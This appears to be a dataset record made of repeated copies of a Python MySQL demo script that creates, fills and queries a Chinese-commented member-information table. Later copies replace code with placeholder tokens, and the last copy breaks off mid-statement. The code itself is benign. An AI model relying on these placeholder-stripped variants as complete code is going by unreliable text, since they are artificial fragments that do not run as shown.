'黑名单状态(41:是;0:否)',\n\t\t\t\tINVOCIE_ADDRESS_LEFT3 VARCHAR(10) NULL DEFAULT NULL COMMENT '用户所属区域-省',\n\t\t\t\tINVOCIE_ADDRESS_RIGHT5 VARCHAR(10) NULL DEFAULT NULL COMMENT '用户所属区域-市',\n\t\t\t\tPRIMARY KEY (MEMBER_ID)\n\t\t\t)\n\t\t\tCOMMENT='会员信息表'\n\t\t\tCOLLATE='utf8_general_ci'\n\t\t\tENGINE=InnoDB\n\t\"\"\"\n cur1.execute(sql)\n print('createTabl', cur1)\n\n\ndef selectTable(db):\n cur1 = db.cursor()\n cur1.execute(\n 'select member_name,MEMBER_CODE,member_id from python_demo limit 10')\n data = cur1.fetchall()\n for index, item in enumerate(data):\n print(index, sep=' ', end=' ')\n for index2, item2 in enumerate(item):\n print(item2, sep=' ', end=' ')\n print('')\n\n\ndef insertTable(db):\n cur1 = db.cursor()\n cur1.execute(\n \"INSERT INTO python_demo (MEMBER_CODE, MEMBER_NAME, MEMBER_NAME_SHORT, COMPANY_NAME_EN, REG_PLACE, REG_ADDRESS, ENT_TYPE, REGCAPITAL, REG_CURRENCY, JUDICIAL_PERSON, BUSINESS_SCOPE, COM_TEL, COM_FAX, PERSON_INCHARGE, ZIP_CODE, CON_NAME, CON_MOBILE, CON_EMAIL, CON_FAX, CON_CERT_TYPE, CON_CERT_NO, CON_CERT_DATE, CON_CER1_ID, CON_CER2_ID, THERECER_INTGRATED, BIZLIC_ID, BIZLIC_NO, BIZLIC_DATE, TAXREGISTER_ID, TAXREGISTER_NO, TAXREGISTER_DATE, ORGREG_ID, ORGREG_NO, ORGREG_DATE, BANK_ID, BANK_TYPE, BANK_DEPOSIT, BANK_DEPOSIT_CODE, BANK_ACCOUNTNO, BANK_HOUSEHOULD, INVOICE_TITLE, INVOICE_ADDRESS, INVOICE_ADDRESS_DT, APPLY_SELLER_ID, BUYER_FLAG, SELLER_FLAG, THIRD_PART_FLAG, MAIN_USER_ID, MDM_DATA_CODE, ERP_DATA_CODE, REG_TYPE, STATUS, AUDITOR, AUDIT_DATE, AUDIT_RESULT, AUDIT_OPINION, MDM_AUDITOR, MDM_AUDIT_DATE, MDM_AUDIT_OPINION, MDM_AUDIT_RESULT, MEMBER_CHG_ID, CHANGE_STATUS, ALIVE_FLAG, LANG_VER, CREATE_USER, CREATE_DATE, UPDATE_USER, UPDATE_DATE, DELETE_USER, DELETE_DATE, BUYER_TYPE, AUDIT_OPTION_FLAG, AUDIT_SELLER_ID, SELLER_MDM, SELLER_SAP, SELLER_MDM_DATA_CODE, IS_PLAT_BLACK, INVOCIE_ADDRESS_LEFT3, INVOCIE_ADDRESS_RIGHT5) VALUES ('A000001', '中国有限公司', '中国有限公司', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'xinming', '15136378930', NULL, NULL, NULL, NULL, NULL, NULL, NULL, '0', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, '0', '1', '0', 2, 'M0000001', '00M0000001', '10', '01', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 2, '01', '1', 'ZH-CN', 179143, '2016-05-28 12:16:23', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL)\"\n )\n\n\n<assignment token>\ndropTable(db)\ncreateTable(db)\ninsertTable(db)\ninsertTable(db)\ninsertTable(db)\ninsertTable(db)\ninsertTable(db)\ntesteSelect(db)\nselectTable(db)\ndb.close()\n", "<import token>\n\n\ndef testeSelect(db):\n cur1 = db.cursor()\n cur1.execute('SELECT VERSION()')\n data = cur1.fetchone()\n print(dir(data))\n print('cur1 : %s ' % cur1)\n print('Database version : %s ' % data)\n\n\ndef dropTable(db):\n cur1 = db.cursor()\n cur1.execute('drop table if exists python_demo')\n print('dropTable', cur1)\n\n\ndef createTable(db):\n cur1 = db.cursor()\n sql = \"\"\"\n\t\t\tCREATE TABLE IF NOT EXISTS python_demo (\n\t\t\t\tMEMBER_ID INT(20) NOT NULL AUTO_INCREMENT COMMENT '会员ID',\n\t\t\t\tMEMBER_CODE VARCHAR(20) NOT NULL COMMENT '会员代码',\n\t\t\t\tMEMBER_NAME VARCHAR(128) NOT NULL COMMENT '公司中文名称',\n\t\t\t\tMEMBER_NAME_SHORT VARCHAR(128) NULL DEFAULT NULL COMMENT '公司简称',\n\t\t\t\tCOMPANY_NAME_EN VARCHAR(128) NULL DEFAULT NULL COMMENT '公司英文名称',\n\t\t\t\tREG_PLACE VARCHAR(20) NULL DEFAULT NULL COMMENT '公司注册地址',\n\t\t\t\tREG_ADDRESS VARCHAR(128) NULL DEFAULT NULL COMMENT '公司注册地址',\n\t\t\t\tENT_TYPE VARCHAR(20) NULL DEFAULT NULL COMMENT '公司性质',\n\t\t\t\tREGCAPITAL DOUBLE(12,2) NULL DEFAULT NULL COMMENT '注册资本',\n\t\t\t\tREG_CURRENCY VARCHAR(20) NULL DEFAULT NULL COMMENT '注册资本币种',\n\t\t\t\tJUDICIAL_PERSON VARCHAR(32) NULL DEFAULT NULL COMMENT '法人名称',\n\t\t\t\tBUSINESS_SCOPE VARCHAR(128) NULL DEFAULT NULL COMMENT '公司经营范围',\n\t\t\t\tCOM_TEL VARCHAR(20) NULL DEFAULT NULL COMMENT '公司电话',\n\t\t\t\tCOM_FAX VARCHAR(64) NULL DEFAULT NULL COMMENT '公司传真',\n\t\t\t\tPERSON_INCHARGE VARCHAR(64) NULL DEFAULT NULL COMMENT '公司负责人',\n\t\t\t\tZIP_CODE VARCHAR(6) NULL DEFAULT NULL COMMENT '邮编',\n\t\t\t\tCON_NAME VARCHAR(32) NULL DEFAULT NULL COMMENT '联系人姓名',\n\t\t\t\tCON_MOBILE VARCHAR(20) NULL DEFAULT NULL COMMENT '联系人手机',\n\t\t\t\tCON_EMAIL VARCHAR(32) NULL DEFAULT NULL COMMENT '联系人邮箱',\n\t\t\t\tCON_FAX VARCHAR(32) NULL DEFAULT NULL COMMENT '联系人传真',\n\t\t\t\tCON_CERT_TYPE VARCHAR(20) NULL DEFAULT NULL COMMENT '联系人证件类型',\n\t\t\t\tCON_CERT_NO VARCHAR(20) NULL DEFAULT NULL COMMENT '联系人证件号',\n\t\t\t\tCON_CERT_DATE DATE NULL DEFAULT NULL COMMENT '联系人证件失效时间',\n\t\t\t\tCON_CER1_ID INT(20) NULL DEFAULT NULL COMMENT '联系人身份证正面ID',\n\t\t\t\tCON_CER2_ID INT(20) NULL DEFAULT NULL COMMENT '联系人身份证反面ID',\n\t\t\t\tTHERECER_INTGRATED VARCHAR(20) NULL DEFAULT NULL COMMENT '三证合一标志',\n\t\t\t\tBIZLIC_ID INT(20) NULL DEFAULT NULL COMMENT '营业执照ID',\n\t\t\t\tBIZLIC_NO VARCHAR(20) NULL DEFAULT NULL COMMENT '营业执照代码',\n\t\t\t\tBIZLIC_DATE DATE NULL DEFAULT NULL COMMENT '营业执照失效时间',\n\t\t\t\tTAXREGISTER_ID INT(20) NULL DEFAULT NULL COMMENT '税务等级证书ID',\n\t\t\t\tTAXREGISTER_NO VARCHAR(20) NULL DEFAULT NULL COMMENT '税务登记号',\n\t\t\t\tTAXREGISTER_DATE DATE NULL DEFAULT NULL COMMENT '税务登记失效时间',\n\t\t\t\tORGREG_ID INT(20) NULL DEFAULT NULL COMMENT '组织机构代码证ID',\n\t\t\t\tORGREG_NO VARCHAR(20) NULL DEFAULT NULL COMMENT '组织机构代码',\n\t\t\t\tORGREG_DATE DATE NULL DEFAULT NULL COMMENT '组织机构失效时间',\n\t\t\t\tBANK_ID INT(20) NULL DEFAULT NULL COMMENT '银行开户许可证ID',\n\t\t\t\tBANK_TYPE VARCHAR(20) NULL DEFAULT NULL COMMENT '开户银行类别',\n\t\t\t\tBANK_DEPOSIT VARCHAR(128) NULL DEFAULT NULL COMMENT '开户银行',\n\t\t\t\tBANK_DEPOSIT_CODE VARCHAR(32) NULL DEFAULT NULL COMMENT '开户银行编码',\n\t\t\t\tBANK_ACCOUNTNO VARCHAR(32) NULL DEFAULT NULL COMMENT '银行账号',\n\t\t\t\tBANK_HOUSEHOULD VARCHAR(32) NULL DEFAULT NULL COMMENT '银行户主',\n\t\t\t\tINVOICE_TITLE VARCHAR(128) NULL DEFAULT NULL COMMENT '开票台头',\n\t\t\t\tINVOICE_ADDRESS VARCHAR(20) NULL DEFAULT NULL COMMENT '开票地址',\n\t\t\t\tINVOICE_ADDRESS_DT VARCHAR(128) NULL DEFAULT NULL COMMENT '开票详细地址',\n\t\t\t\tAPPLY_SELLER_ID INT(20) NULL DEFAULT NULL COMMENT '申请审核机构',\n\t\t\t\tBUYER_FLAG VARCHAR(20) NULL DEFAULT NULL COMMENT '买家标识',\n\t\t\t\tSELLER_FLAG VARCHAR(20) NULL DEFAULT NULL COMMENT '卖家标识',\n\t\t\t\tTHIRD_PART_FLAG VARCHAR(20) NULL DEFAULT NULL COMMENT '第三方标识',\n\t\t\t\tMAIN_USER_ID INT(20) NULL DEFAULT NULL COMMENT '主账号ID',\n\t\t\t\tMDM_DATA_CODE VARCHAR(20) NULL DEFAULT NULL COMMENT 'MDM主数据CODE',\n\t\t\t\tERP_DATA_CODE VARCHAR(20) NULL DEFAULT NULL COMMENT 'ERP会员CODE',\n\t\t\t\tREG_TYPE VARCHAR(20) NULL DEFAULT NULL COMMENT '注册类型',\n\t\t\t\tSTATUS VARCHAR(20) NULL DEFAULT NULL COMMENT '会员状态',\n\t\t\t\tAUDITOR VARCHAR(128) NULL DEFAULT NULL COMMENT '审核人',\n\t\t\t\tAUDIT_DATE DATETIME NULL DEFAULT NULL COMMENT '审核时间',\n\t\t\t\tAUDIT_RESULT VARCHAR(20) NULL DEFAULT NULL COMMENT '审核结果',\n\t\t\t\tAUDIT_OPINION VARCHAR(128) NULL DEFAULT NULL COMMENT '审核意见',\n\t\t\t\tMDM_AUDITOR VARCHAR(32) NULL DEFAULT NULL COMMENT 'MDM审核人',\n\t\t\t\tMDM_AUDIT_DATE DATETIME NULL DEFAULT NULL COMMENT 'MDM审核时间',\n\t\t\t\tMDM_AUDIT_OPINION VARCHAR(128) NULL DEFAULT NULL COMMENT 'MDM审核意见',\n\t\t\t\tMDM_AUDIT_RESULT VARCHAR(20) NULL DEFAULT NULL COMMENT 'MDM审核结果',\n\t\t\t\tMEMBER_CHG_ID INT(20) NULL DEFAULT NULL COMMENT '变更ID',\n\t\t\t\tCHANGE_STATUS VARCHAR(20) NULL DEFAULT NULL COMMENT '变更状态',\n\t\t\t\tALIVE_FLAG VARCHAR(1) NOT NULL COMMENT '当前有效状态',\n\t\t\t\tLANG_VER VARCHAR(10) NULL DEFAULT NULL COMMENT '语言类型',\n\t\t\t\tCREATE_USER INT(20) NOT NULL COMMENT '创建者',\n\t\t\t\tCREATE_DATE DATETIME NOT NULL COMMENT '创建时间',\n\t\t\t\tUPDATE_USER INT(20) NULL DEFAULT NULL COMMENT '修改者',\n\t\t\t\tUPDATE_DATE DATETIME NULL DEFAULT NULL COMMENT '修改时间',\n\t\t\t\tDELETE_USER INT(20) NULL DEFAULT NULL COMMENT '删除者',\n\t\t\t\tDELETE_DATE DATETIME NULL DEFAULT NULL COMMENT '删除时间',\n\t\t\t\tBUYER_TYPE VARCHAR(20) NULL DEFAULT NULL COMMENT '买家类型(01:个人买家;02:公司买家)',\n\t\t\t\tAUDIT_OPTION_FLAG VARCHAR(20) NULL DEFAULT NULL COMMENT '审核身份标识(01:平台;02:卖家)',\n\t\t\t\tAUDIT_SELLER_ID INT(20) NULL DEFAULT NULL COMMENT '审核卖家ID(当审核身份标识为卖家审核时,审核的卖家ID)',\n\t\t\t\tSELLER_MDM VARCHAR(20) NULL DEFAULT NULL COMMENT '卖家MDM系统',\n\t\t\t\tSELLER_SAP VARCHAR(20) NULL DEFAULT NULL COMMENT '卖家SAP系统',\n\t\t\t\tSELLER_MDM_DATA_CODE VARCHAR(20) NULL DEFAULT NULL COMMENT '卖家MDM系统数据CODE',\n\t\t\t\tIS_PLAT_BLACK VARCHAR(2) NULL DEFAULT NULL COMMENT '黑名单状态(41:是;0:否)',\n\t\t\t\tINVOCIE_ADDRESS_LEFT3 VARCHAR(10) NULL DEFAULT NULL COMMENT '用户所属区域-省',\n\t\t\t\tINVOCIE_ADDRESS_RIGHT5 VARCHAR(10) NULL DEFAULT NULL COMMENT '用户所属区域-市',\n\t\t\t\tPRIMARY KEY (MEMBER_ID)\n\t\t\t)\n\t\t\tCOMMENT='会员信息表'\n\t\t\tCOLLATE='utf8_general_ci'\n\t\t\tENGINE=InnoDB\n\t\"\"\"\n cur1.execute(sql)\n print('createTabl', cur1)\n\n\ndef selectTable(db):\n cur1 = db.cursor()\n cur1.execute(\n 'select member_name,MEMBER_CODE,member_id from python_demo limit 10')\n data = cur1.fetchall()\n for index, item in enumerate(data):\n print(index, sep=' ', end=' ')\n for index2, item2 in enumerate(item):\n print(item2, sep=' ', end=' ')\n print('')\n\n\ndef insertTable(db):\n cur1 = db.cursor()\n cur1.execute(\n \"INSERT INTO python_demo (MEMBER_CODE, MEMBER_NAME, MEMBER_NAME_SHORT, COMPANY_NAME_EN, REG_PLACE, REG_ADDRESS, ENT_TYPE, REGCAPITAL, REG_CURRENCY, JUDICIAL_PERSON, BUSINESS_SCOPE, COM_TEL, COM_FAX, PERSON_INCHARGE, ZIP_CODE, CON_NAME, CON_MOBILE, CON_EMAIL, CON_FAX, CON_CERT_TYPE, CON_CERT_NO, CON_CERT_DATE, CON_CER1_ID, CON_CER2_ID, THERECER_INTGRATED, BIZLIC_ID, BIZLIC_NO, BIZLIC_DATE, TAXREGISTER_ID, TAXREGISTER_NO, TAXREGISTER_DATE, ORGREG_ID, ORGREG_NO, ORGREG_DATE, BANK_ID, BANK_TYPE, BANK_DEPOSIT, BANK_DEPOSIT_CODE, BANK_ACCOUNTNO, BANK_HOUSEHOULD, INVOICE_TITLE, INVOICE_ADDRESS, INVOICE_ADDRESS_DT, APPLY_SELLER_ID, BUYER_FLAG, SELLER_FLAG, THIRD_PART_FLAG, MAIN_USER_ID, MDM_DATA_CODE, ERP_DATA_CODE, REG_TYPE, STATUS, AUDITOR, AUDIT_DATE, AUDIT_RESULT, AUDIT_OPINION, MDM_AUDITOR, MDM_AUDIT_DATE, MDM_AUDIT_OPINION, MDM_AUDIT_RESULT, MEMBER_CHG_ID, CHANGE_STATUS, ALIVE_FLAG, LANG_VER, CREATE_USER, CREATE_DATE, UPDATE_USER, UPDATE_DATE, DELETE_USER, DELETE_DATE, BUYER_TYPE, AUDIT_OPTION_FLAG, AUDIT_SELLER_ID, SELLER_MDM, SELLER_SAP, SELLER_MDM_DATA_CODE, IS_PLAT_BLACK, INVOCIE_ADDRESS_LEFT3, INVOCIE_ADDRESS_RIGHT5) VALUES ('A000001', '中国有限公司', '中国有限公司', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'xinming', '15136378930', NULL, NULL, NULL, NULL, NULL, NULL, NULL, '0', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, '0', '1', '0', 2, 'M0000001', '00M0000001', '10', '01', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 2, '01', '1', 'ZH-CN', 179143, '2016-05-28 12:16:23', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL)\"\n )\n\n\n<assignment token>\n<code token>\n", "<import token>\n<function token>\n\n\ndef dropTable(db):\n cur1 = db.cursor()\n cur1.execute('drop table if exists python_demo')\n print('dropTable', cur1)\n\n\ndef createTable(db):\n cur1 = db.cursor()\n sql = \"\"\"\n\t\t\tCREATE TABLE IF NOT EXISTS python_demo (\n\t\t\t\tMEMBER_ID INT(20) NOT NULL AUTO_INCREMENT COMMENT '会员ID',\n\t\t\t\tMEMBER_CODE VARCHAR(20) NOT NULL COMMENT '会员代码',\n\t\t\t\tMEMBER_NAME VARCHAR(128) NOT NULL COMMENT '公司中文名称',\n\t\t\t\tMEMBER_NAME_SHORT VARCHAR(128) NULL DEFAULT NULL COMMENT '公司简称',\n\t\t\t\tCOMPANY_NAME_EN VARCHAR(128) NULL DEFAULT NULL COMMENT '公司英文名称',\n\t\t\t\tREG_PLACE VARCHAR(20) NULL DEFAULT NULL COMMENT '公司注册地址',\n\t\t\t\tREG_ADDRESS VARCHAR(128) NULL DEFAULT NULL COMMENT '公司注册地址',\n\t\t\t\tENT_TYPE VARCHAR(20) NULL DEFAULT NULL COMMENT '公司性质',\n\t\t\t\tREGCAPITAL DOUBLE(12,2) NULL DEFAULT NULL COMMENT '注册资本',\n\t\t\t\tREG_CURRENCY VARCHAR(20) NULL DEFAULT NULL COMMENT '注册资本币种',\n\t\t\t\tJUDICIAL_PERSON VARCHAR(32) NULL DEFAULT NULL COMMENT '法人名称',\n\t\t\t\tBUSINESS_SCOPE VARCHAR(128) NULL DEFAULT NULL COMMENT '公司经营范围',\n\t\t\t\tCOM_TEL VARCHAR(20) NULL DEFAULT NULL COMMENT '公司电话',\n\t\t\t\tCOM_FAX VARCHAR(64) NULL DEFAULT NULL COMMENT '公司传真',\n\t\t\t\tPERSON_INCHARGE VARCHAR(64) NULL DEFAULT NULL COMMENT '公司负责人',\n\t\t\t\tZIP_CODE VARCHAR(6) NULL DEFAULT NULL COMMENT '邮编',\n\t\t\t\tCON_NAME VARCHAR(32) NULL DEFAULT NULL COMMENT '联系人姓名',\n\t\t\t\tCON_MOBILE VARCHAR(20) NULL DEFAULT NULL COMMENT '联系人手机',\n\t\t\t\tCON_EMAIL VARCHAR(32) NULL DEFAULT NULL COMMENT '联系人邮箱',\n\t\t\t\tCON_FAX VARCHAR(32) NULL DEFAULT NULL COMMENT '联系人传真',\n\t\t\t\tCON_CERT_TYPE VARCHAR(20) NULL DEFAULT NULL COMMENT '联系人证件类型',\n\t\t\t\tCON_CERT_NO VARCHAR(20) NULL DEFAULT NULL COMMENT '联系人证件号',\n\t\t\t\tCON_CERT_DATE DATE NULL DEFAULT NULL COMMENT '联系人证件失效时间',\n\t\t\t\tCON_CER1_ID INT(20) NULL DEFAULT NULL COMMENT '联系人身份证正面ID',\n\t\t\t\tCON_CER2_ID INT(20) NULL DEFAULT NULL COMMENT '联系人身份证反面ID',\n\t\t\t\tTHERECER_INTGRATED VARCHAR(20) NULL DEFAULT NULL COMMENT '三证合一标志',\n\t\t\t\tBIZLIC_ID INT(20) NULL DEFAULT NULL COMMENT '营业执照ID',\n\t\t\t\tBIZLIC_NO VARCHAR(20) NULL DEFAULT NULL COMMENT '营业执照代码',\n\t\t\t\tBIZLIC_DATE DATE NULL DEFAULT NULL COMMENT '营业执照失效时间',\n\t\t\t\tTAXREGISTER_ID INT(20) NULL DEFAULT NULL COMMENT '税务等级证书ID',\n\t\t\t\tTAXREGISTER_NO VARCHAR(20) NULL DEFAULT NULL COMMENT '税务登记号',\n\t\t\t\tTAXREGISTER_DATE DATE NULL DEFAULT NULL COMMENT '税务登记失效时间',\n\t\t\t\tORGREG_ID INT(20) NULL DEFAULT NULL COMMENT '组织机构代码证ID',\n\t\t\t\tORGREG_NO VARCHAR(20) NULL DEFAULT NULL COMMENT '组织机构代码',\n\t\t\t\tORGREG_DATE DATE NULL DEFAULT NULL COMMENT '组织机构失效时间',\n\t\t\t\tBANK_ID INT(20) NULL DEFAULT NULL COMMENT '银行开户许可证ID',\n\t\t\t\tBANK_TYPE VARCHAR(20) NULL DEFAULT NULL COMMENT '开户银行类别',\n\t\t\t\tBANK_DEPOSIT VARCHAR(128) NULL DEFAULT NULL COMMENT '开户银行',\n\t\t\t\tBANK_DEPOSIT_CODE VARCHAR(32) NULL DEFAULT NULL COMMENT '开户银行编码',\n\t\t\t\tBANK_ACCOUNTNO VARCHAR(32) NULL DEFAULT NULL COMMENT '银行账号',\n\t\t\t\tBANK_HOUSEHOULD VARCHAR(32) NULL DEFAULT NULL COMMENT '银行户主',\n\t\t\t\tINVOICE_TITLE VARCHAR(128) NULL DEFAULT NULL COMMENT '开票台头',\n\t\t\t\tINVOICE_ADDRESS VARCHAR(20) NULL DEFAULT NULL COMMENT '开票地址',\n\t\t\t\tINVOICE_ADDRESS_DT VARCHAR(128) NULL DEFAULT NULL COMMENT '开票详细地址',\n\t\t\t\tAPPLY_SELLER_ID INT(20) NULL DEFAULT NULL COMMENT '申请审核机构',\n\t\t\t\tBUYER_FLAG VARCHAR(20) NULL DEFAULT NULL COMMENT '买家标识',\n\t\t\t\tSELLER_FLAG VARCHAR(20) NULL DEFAULT NULL COMMENT '卖家标识',\n\t\t\t\tTHIRD_PART_FLAG VARCHAR(20) NULL DEFAULT NULL COMMENT '第三方标识',\n\t\t\t\tMAIN_USER_ID INT(20) NULL DEFAULT NULL COMMENT '主账号ID',\n\t\t\t\tMDM_DATA_CODE VARCHAR(20) NULL DEFAULT NULL COMMENT 'MDM主数据CODE',\n\t\t\t\tERP_DATA_CODE VARCHAR(20) NULL DEFAULT NULL COMMENT 'ERP会员CODE',\n\t\t\t\tREG_TYPE VARCHAR(20) NULL DEFAULT NULL COMMENT '注册类型',\n\t\t\t\tSTATUS VARCHAR(20) NULL DEFAULT NULL COMMENT '会员状态',\n\t\t\t\tAUDITOR VARCHAR(128) NULL DEFAULT NULL COMMENT '审核人',\n\t\t\t\tAUDIT_DATE DATETIME NULL DEFAULT NULL COMMENT '审核时间',\n\t\t\t\tAUDIT_RESULT VARCHAR(20) NULL DEFAULT NULL COMMENT '审核结果',\n\t\t\t\tAUDIT_OPINION VARCHAR(128) NULL DEFAULT NULL COMMENT '审核意见',\n\t\t\t\tMDM_AUDITOR VARCHAR(32) NULL DEFAULT NULL COMMENT 'MDM审核人',\n\t\t\t\tMDM_AUDIT_DATE DATETIME NULL DEFAULT NULL COMMENT 'MDM审核时间',\n\t\t\t\tMDM_AUDIT_OPINION VARCHAR(128) NULL DEFAULT NULL COMMENT 'MDM审核意见',\n\t\t\t\tMDM_AUDIT_RESULT VARCHAR(20) NULL DEFAULT NULL COMMENT 'MDM审核结果',\n\t\t\t\tMEMBER_CHG_ID INT(20) NULL DEFAULT NULL COMMENT '变更ID',\n\t\t\t\tCHANGE_STATUS VARCHAR(20) NULL DEFAULT NULL COMMENT '变更状态',\n\t\t\t\tALIVE_FLAG VARCHAR(1) NOT NULL COMMENT '当前有效状态',\n\t\t\t\tLANG_VER VARCHAR(10) NULL DEFAULT NULL COMMENT '语言类型',\n\t\t\t\tCREATE_USER INT(20) NOT NULL COMMENT '创建者',\n\t\t\t\tCREATE_DATE DATETIME NOT NULL COMMENT '创建时间',\n\t\t\t\tUPDATE_USER INT(20) NULL DEFAULT NULL COMMENT '修改者',\n\t\t\t\tUPDATE_DATE DATETIME NULL DEFAULT NULL COMMENT '修改时间',\n\t\t\t\tDELETE_USER INT(20) NULL DEFAULT NULL COMMENT '删除者',\n\t\t\t\tDELETE_DATE DATETIME NULL DEFAULT NULL COMMENT '删除时间',\n\t\t\t\tBUYER_TYPE VARCHAR(20) NULL DEFAULT NULL COMMENT '买家类型(01:个人买家;02:公司买家)',\n\t\t\t\tAUDIT_OPTION_FLAG VARCHAR(20) NULL DEFAULT NULL COMMENT '审核身份标识(01:平台;02:卖家)',\n\t\t\t\tAUDIT_SELLER_ID INT(20) NULL DEFAULT NULL COMMENT '审核卖家ID(当审核身份标识为卖家审核时,审核的卖家ID)',\n\t\t\t\tSELLER_MDM VARCHAR(20) NULL DEFAULT NULL COMMENT '卖家MDM系统',\n\t\t\t\tSELLER_SAP VARCHAR(20) NULL DEFAULT NULL COMMENT '卖家SAP系统',\n\t\t\t\tSELLER_MDM_DATA_CODE VARCHAR(20) NULL DEFAULT NULL COMMENT '卖家MDM系统数据CODE',\n\t\t\t\tIS_PLAT_BLACK VARCHAR(2) NULL DEFAULT NULL COMMENT '黑名单状态(41:是;0:否)',\n\t\t\t\tINVOCIE_ADDRESS_LEFT3 VARCHAR(10) NULL DEFAULT NULL COMMENT '用户所属区域-省',\n\t\t\t\tINVOCIE_ADDRESS_RIGHT5 VARCHAR(10) NULL DEFAULT NULL COMMENT '用户所属区域-市',\n\t\t\t\tPRIMARY KEY (MEMBER_ID)\n\t\t\t)\n\t\t\tCOMMENT='会员信息表'\n\t\t\tCOLLATE='utf8_general_ci'\n\t\t\tENGINE=InnoDB\n\t\"\"\"\n cur1.execute(sql)\n print('createTabl', cur1)\n\n\ndef selectTable(db):\n cur1 = db.cursor()\n cur1.execute(\n 'select member_name,MEMBER_CODE,member_id from python_demo limit 10')\n data = cur1.fetchall()\n for index, item in enumerate(data):\n print(index, sep=' ', end=' ')\n for index2, item2 in enumerate(item):\n print(item2, sep=' ', end=' ')\n print('')\n\n\ndef insertTable(db):\n cur1 = db.cursor()\n cur1.execute(\n \"INSERT INTO python_demo (MEMBER_CODE, MEMBER_NAME, MEMBER_NAME_SHORT, COMPANY_NAME_EN, REG_PLACE, REG_ADDRESS, ENT_TYPE, REGCAPITAL, REG_CURRENCY, JUDICIAL_PERSON, BUSINESS_SCOPE, COM_TEL, COM_FAX, PERSON_INCHARGE, ZIP_CODE, CON_NAME, CON_MOBILE, CON_EMAIL, CON_FAX, CON_CERT_TYPE, CON_CERT_NO, CON_CERT_DATE, CON_CER1_ID, CON_CER2_ID, THERECER_INTGRATED, BIZLIC_ID, BIZLIC_NO, BIZLIC_DATE, TAXREGISTER_ID, TAXREGISTER_NO, TAXREGISTER_DATE, ORGREG_ID, ORGREG_NO, ORGREG_DATE, BANK_ID, BANK_TYPE, BANK_DEPOSIT, BANK_DEPOSIT_CODE, BANK_ACCOUNTNO, BANK_HOUSEHOULD, INVOICE_TITLE, INVOICE_ADDRESS, INVOICE_ADDRESS_DT, APPLY_SELLER_ID, BUYER_FLAG, SELLER_FLAG, THIRD_PART_FLAG, MAIN_USER_ID, MDM_DATA_CODE, ERP_DATA_CODE, REG_TYPE, STATUS, AUDITOR, AUDIT_DATE, AUDIT_RESULT, AUDIT_OPINION, MDM_AUDITOR, MDM_AUDIT_DATE, MDM_AUDIT_OPINION, MDM_AUDIT_RESULT, MEMBER_CHG_ID, CHANGE_STATUS, ALIVE_FLAG, LANG_VER, CREATE_USER, CREATE_DATE, UPDATE_USER, UPDATE_DATE, DELETE_USER, DELETE_DATE, BUYER_TYPE, AUDIT_OPTION_FLAG, AUDIT_SELLER_ID, SELLER_MDM, SELLER_SAP, SELLER_MDM_DATA_CODE, IS_PLAT_BLACK, INVOCIE_ADDRESS_LEFT3, INVOCIE_ADDRESS_RIGHT5) VALUES ('A000001', '中国有限公司', '中国有限公司', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'xinming', '15136378930', NULL, NULL, NULL, NULL, NULL, NULL, NULL, '0', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, '0', '1', '0', 2, 'M0000001', '00M0000001', '10', '01', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 2, '01', '1', 'ZH-CN', 179143, '2016-05-28 12:16:23', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL)\"\n )\n\n\n<assignment token>\n<code token>\n", "<import token>\n<function token>\n\n\ndef dropTable(db):\n cur1 = db.cursor()\n cur1.execute('drop table if exists python_demo')\n print('dropTable', cur1)\n\n\n<function token>\n\n\ndef selectTable(db):\n cur1 = db.cursor()\n cur1.execute(\n 'select member_name,MEMBER_CODE,member_id from python_demo limit 10')\n data = cur1.fetchall()\n for index, item in enumerate(data):\n print(index, sep=' ', end=' ')\n for index2, item2 in enumerate(item):\n print(item2, sep=' ', end=' ')\n print('')\n\n\ndef insertTable(db):\n cur1 = db.cursor()\n cur1.execute(\n \"INSERT INTO python_demo (MEMBER_CODE, MEMBER_NAME, MEMBER_NAME_SHORT, COMPANY_NAME_EN, REG_PLACE, REG_ADDRESS, ENT_TYPE, REGCAPITAL, REG_CURRENCY, JUDICIAL_PERSON, BUSINESS_SCOPE, COM_TEL, COM_FAX, PERSON_INCHARGE, ZIP_CODE, CON_NAME, CON_MOBILE, CON_EMAIL, CON_FAX, CON_CERT_TYPE, CON_CERT_NO, CON_CERT_DATE, CON_CER1_ID, CON_CER2_ID, THERECER_INTGRATED, BIZLIC_ID, BIZLIC_NO, BIZLIC_DATE, TAXREGISTER_ID, TAXREGISTER_NO, TAXREGISTER_DATE, ORGREG_ID, ORGREG_NO, ORGREG_DATE, BANK_ID, BANK_TYPE, BANK_DEPOSIT, BANK_DEPOSIT_CODE, BANK_ACCOUNTNO, BANK_HOUSEHOULD, INVOICE_TITLE, INVOICE_ADDRESS, INVOICE_ADDRESS_DT, APPLY_SELLER_ID, BUYER_FLAG, SELLER_FLAG, THIRD_PART_FLAG, MAIN_USER_ID, MDM_DATA_CODE, ERP_DATA_CODE, REG_TYPE, STATUS, AUDITOR, AUDIT_DATE, AUDIT_RESULT, AUDIT_OPINION, MDM_AUDITOR, MDM_AUDIT_DATE, MDM_AUDIT_OPINION, MDM_AUDIT_RESULT, MEMBER_CHG_ID, CHANGE_STATUS, ALIVE_FLAG, LANG_VER, CREATE_USER, CREATE_DATE, UPDATE_USER, UPDATE_DATE, DELETE_USER, DELETE_DATE, BUYER_TYPE, AUDIT_OPTION_FLAG, AUDIT_SELLER_ID, SELLER_MDM, SELLER_SAP, SELLER_MDM_DATA_CODE, IS_PLAT_BLACK, 